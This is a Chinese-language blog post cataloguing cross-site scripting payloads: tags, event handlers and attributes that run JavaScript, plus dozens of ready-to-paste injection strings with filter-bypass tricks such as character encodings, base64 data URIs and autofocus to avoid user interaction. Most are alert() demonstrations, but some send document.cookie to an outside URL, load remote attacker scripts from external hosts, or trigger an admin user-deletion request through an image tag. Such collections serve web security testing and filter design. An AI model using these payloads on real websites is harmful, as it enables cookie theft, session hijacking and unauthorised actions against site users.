csxiaoqiang 2020-01-06
xss的攻击原理就是前端被插入了恶意的js代码,下面展示大部分可以执行js的标签、事件、属性;
标签(label)
<script> <a> <p> <img> <body> <button> <var> <div> <style> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> <link> <table>
事件(event) --- 事件都是onXxx开头
onload onerror onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop
属性(attribute)
formaction action href xlink:href autofocus src content data expression
<script>document.write(String.fromCharCode(在这里写上你的代码));</script> //过滤了等号、单引号、双引号、空格的绕过方法 ><script>alert(document.cookie)</script> </script><script>alert(doucument.cookie)</script> <script firefox>alert(1)</script> //其实我们并不需要一个规范的script标签 <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script> <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script>//在这里我们依然可以使用那些编码 <script>prompt(-[])</script> //不只是alert。prompt和confirm也可以弹窗 <script>alert(/3/)</script> //可以用"/"来代替单引号和双引号 <script>alert(String.fromCharCode(49))</script> //我们还可以用char <script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行 <script>setTimeout('alert(1)',0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1) <SCRIPT SRC=//3w.org/XSS/xss.js> //无结束脚本标记 <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>; //无结束脚本标记(仅火狐等浏览器)
<a href=javaascript:alert(document.cookie)>href</a> <svg><a xlink:href="javascript:alert(1234)"><rect width="1000" height="1000" fill="white"/></a></svg>
<img src=# onerror="alert(document.cookie)"/> <img src=x onerror=alert(1)> <img src ?itworksonchrome?\/onerror = alert(1)> //只在chrome下有效 <img src=x onerror=window.open('http://google.com');> <img/src/onerror=alert(1)> //只在chrome下有效 <img src="x:kcf" onerror="alert(1)"> //IMG嵌入式命令,可执行任意命令 <IMG SRC="http://www.XXX.com/a.php?a=b"> //IMG嵌入式命令(a.jpg在同服务器) Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
应该有一部分人对于button标签的js调用还停留在通过event事件来实现。像下面的例子.:
<button/onclick=alert(1) >M</button>
那么如果所有的on(event)被过滤了,我们就没有办法了么?其实html5已经给我们带来了新的姿势:
<form><button formaction=javascript:alert(1)>M
也许看到这里就有人会吐槽,这种需要用户交互的啊! 如果使用onfocus事件,再加上autofocus我们就可以达到自动弹窗,无须交互了。
<button onfocus=alert(1) autofocus>
<p/onmouseover=javascript:alert(1); >M</p> <p onmouseover=alert(/insight-labs/)>insight-labs、<frameset onload=alert(/insight-labs/)>、<body onload=alert(/insight-labs/)>
<body onload=alert(/insight-labs/)> <BODY BACKGROUND="javascript:alert(XSS)"> <body onload=alert(1)> <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<var onmouseover="prompt(1)">KCF</var>
<INPUT TYPE="IMAGE" SRC="javascript:alert(XSS);"> <input onfocus=javascript:alert(1) autofocus> <input onblur=javascript:alert(1) autofocus><input autofocus>
<LINK REL="stylesheet" HREF="javascript:alert(XSS);"> <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(XSS)></OBJECT>
META协议 <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(XSS);"> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(XSS);">
<frameset onload=alert(/insight-labs/)> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> <FRAMESET><FRAME src=javascript:alert('XpSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')"> <TABLE><TD BACKGROUND="javascript:alert('XSS')">
<L onclick=alert(document.cookie)>click me</L★最琀;弹出1 <span class="qm_ico_print" id="mail_print" title="打印" onclick="window.open('/cgi-bin/readmail?sid=SC_hEOi3h_nqEgJQ&');"></span> <a href="http://www.baidu.com" style="color:#143d70; simsun;" onclick="alert(/a/);this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.baidu.com'); return(false);">asdasdsad</a> <span onclick="javascript:changeFont(2);"> <SPAN class="xmsw" title=dd onmouseout=window.location='http://www,xfydyt.com'>test</span> <span class="xmsw" title="dd" onmouseout=window.location='http://test/test.php?c='+document.cookie>test</span> <SPAN class="xmsw" title=dd onmouseout=javascript:alert(document.cookie)>test</SPAN>
<STYLE> .testcss{ color: expreseion(alert(1)) } </STYLE> <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS <style>body {background-image: url("javascript:alert(123)");}</style> <STYLE>@importjavasc ipt:alert("XSS");</STYLE> <STYLE>@importhttp://ha.ckers.org/xss.css;</STYLE> C<STYLE TYPE="text/javascript">alert(XSS);</STYLE> <STYLE>.XSS{background-image:url("javascript:alert(XSS)");}</STYLE><A class="XSS"></A> <STYLE type="text/css">BODY{background:url("javascript:alert(XSS)")}</STYLE> <div style="background-image:url(javascript:alert(123))"> <DIV STYLE="background-image: 075 072 06C 028 06a 061 076 061 073 063 072 069 070 074 03a 061 06c 065 072 074 028.1027 058.1053 053 027 029 029"> <DIV STYLE="width: expression(alert(XSS));">
iframe标签这个例子当中值得一提的是,有时候我们可以通过实体编码&Tab(换行和tab字符)来bypass一些filter。
我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=“"允许从外部调用swf时,我们才可以通过flash来实现xss attack。
<IFRAME SRC="javascript:alert(1);"></IFRAME> <iframe/onload=alert(53)></iframe>
onload执行js
<iframe onload="alert(1)"></iframe>
src执行javascript代码
<iframe src="javascript:alert(1)"></iframe>
IE下vbscript执行代码
<iframe src="vbscript:msgbox(1)"></iframe>
Chrome下data协议执行代码
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> ?url=<iframe src=JavaScript:(prompt)(document.domain)>a://目标url<a> <iframe src="data:text/html,<script>alert(1)</script>"></iframe>
Chrome下srcdoc属性
<iframe srcdoc="<script>alert(1)</script>"></iframe>
?query%5Border_No%5D=&query%5Bm obile%5D=%27%2balert`1`%2b%27 ?query[order_No]=&query[m obile]='+alert`1`+'
<script src=//xss.tw/3058></script> " 引号 空格 < < > >
<img/src=x onerror=alert(1)> <M/onclick="alert(1)">M
<b/ondrag=alert()>M
// US_ASCII编码(库尔特发现)。使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互 ?scriptualert(EXSSE)?/scriptu <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(XSS);">]]> <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(XSS)> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
embed标签可以嵌入FLASH,其中包涵XSS;
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome <embed src=javascript:alert(1)> //firefox <EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED> <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
.swf
Code: a="get"; b="URL(""; c="javascript:"; d="alert(XSS);")"; eval(a+b+c+d);
https://www.leavesongs.com/PENETRATION/xss-collect.html